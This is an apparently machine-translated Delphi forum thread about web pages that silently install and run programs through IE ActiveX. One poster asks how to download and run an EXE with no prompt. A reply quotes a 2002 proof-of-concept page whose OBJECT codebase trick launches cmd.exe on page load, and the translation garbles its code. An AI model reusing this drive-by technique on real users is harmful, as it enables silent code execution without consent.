Home > Industries > Internet

What comes to mind from viruses and trojans on the internet... It is related to the use of OCX and cab packages on the webpage.

Source: Internet
Author: User
Developer on Alibaba Coud: Build your first app with APIs, SDKs, and tutorials on the Alibaba Cloud. Read more ＞
It is related to the use of OCX and cab packages on the webpage. Delphi/Windows SDK/API
Http://www.delphi2007.net/DelphiBase/html/delphi_20061218114045129.html
I wonder if you have such an experience. After opening a webpage, you will find that the system is poisoned, and you have not performed any suspicious operations. You just opened a webpage.

I used to search for information for anti-virus attacks and opened a website that looked like anti-virus. In an instant, there were more than 10 viruses on the machine. At this time, ie does not prompt me any plug-ins, whether to install them or not.

The problem now is that no matter how I pack and sign the ocx, I will prompt the customer whether to download it, how are some viruses so powerful ??

What I want to achieve now is that the client does not need any prompts, and does not need to be prompted during the first download, and does not need to be prompted each time it is run, in addition, the security setting of IE is the default setting. In addition, I want to automatically download an executable file from the cab package.

Experts can see whether it can be implemented or give some comments. I don't want to be a virus, but want to optimize the B/S structure software to make him smart.

This idea has been around for a long time and has not been implemented for a long time!

These viruses are not ocx, but EXE files.

So how does one let your machine run those EXE files ??

Versions earlier than IE6 can be implemented

Yes. The EXE file exploits the MDAC Vulnerability.
Please see micro-channel Security Announcement: http://www.microsoft.com/china/technet/security/bulletin/MS06-014.mspx

Latest Research Report:

<HTML>
<Head>
<Title> IE6 security... </title>
<Script language = JScript>
VaR programname = new array (
'C:/Windows/system32/cmd.exe ',
'C:/winnt/system32/cmd.exe ',
'C:/cmd.exe'
);

Function Init (){
VaR opopup = Window. createpopup ();
VaR opopbody=opopup.doc ument. Body;
VaR N, html = '';
For (n = 0; n <programname. length; n ++)
HTML + = "<object name = 'X' classid = 'clsid: 11111111-1111-1111-1111-111111111111'codebase = '"+ programname [N] +"' % 1 = 'R'> </Object> ";
Opopbody. innerhtml = HTML;
Opopup. Show (290,190,200,200, document. Body );
}

</SCRIPT>
</Head>
<Body onload = "Init ()">
<P>
This page doesn't do anything malicious (this page is not malicious), but is a demonstration of how to execute a program on a remote machine using
Marvelously secure Internet Explorer Web browser !! (But it demonstrates how to execute Program !! A little ironic about Microsoft's IE, that is, executing programs on the client through IE)
</P>
<P>
Up until at least 18/02/02, this script wocould open a command window when viewed in ie5/6 under WindowsXP and Win2k (possibly also winme). There
Are currently no patches available using "Windows Update" which will prevent this.
</P>


The popularity in Delphi is really bad !!!

Fuck it, fix it yourself.

Can you tell me how to solve this problem?

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

Related Keywords:
wordpress the field what is filezilla and how to use what is wordpress and how to use how to protect from hackers and viruses what is telnet and how to use use of in and on in dates how to clear cache and cookies on internet explorer
Related Article
What is the difference between a wireless internet card and a...
What is TPS, what is QPS, and what is the difference? _ Internet
The internet, helping to push the transformation and developm...
Internet of Things graduation design free download?? 1000 set...
Adjust the Windows XP registry to enjoy high-speed broadband ...
Top 10 tips for protecting privacy on the Internet

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

What's Trending
Top 10 Tags
datastax versions naming convention zookeeper client class definition md5 microsoft sql server 2005 data structures exception handling error handling
Top 10 Keywords
microsoft download center down wordpress address url site address url wordpress address url windows installer 4 0 download 302 not found web address url definition site address url wordpress db2 integer mac os installation step by step pdf abbreviation for return

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

  • Sales Support

    1 on 1 presale consultation

    Chat Contact Sales

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    Open a Ticket

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

    Learn More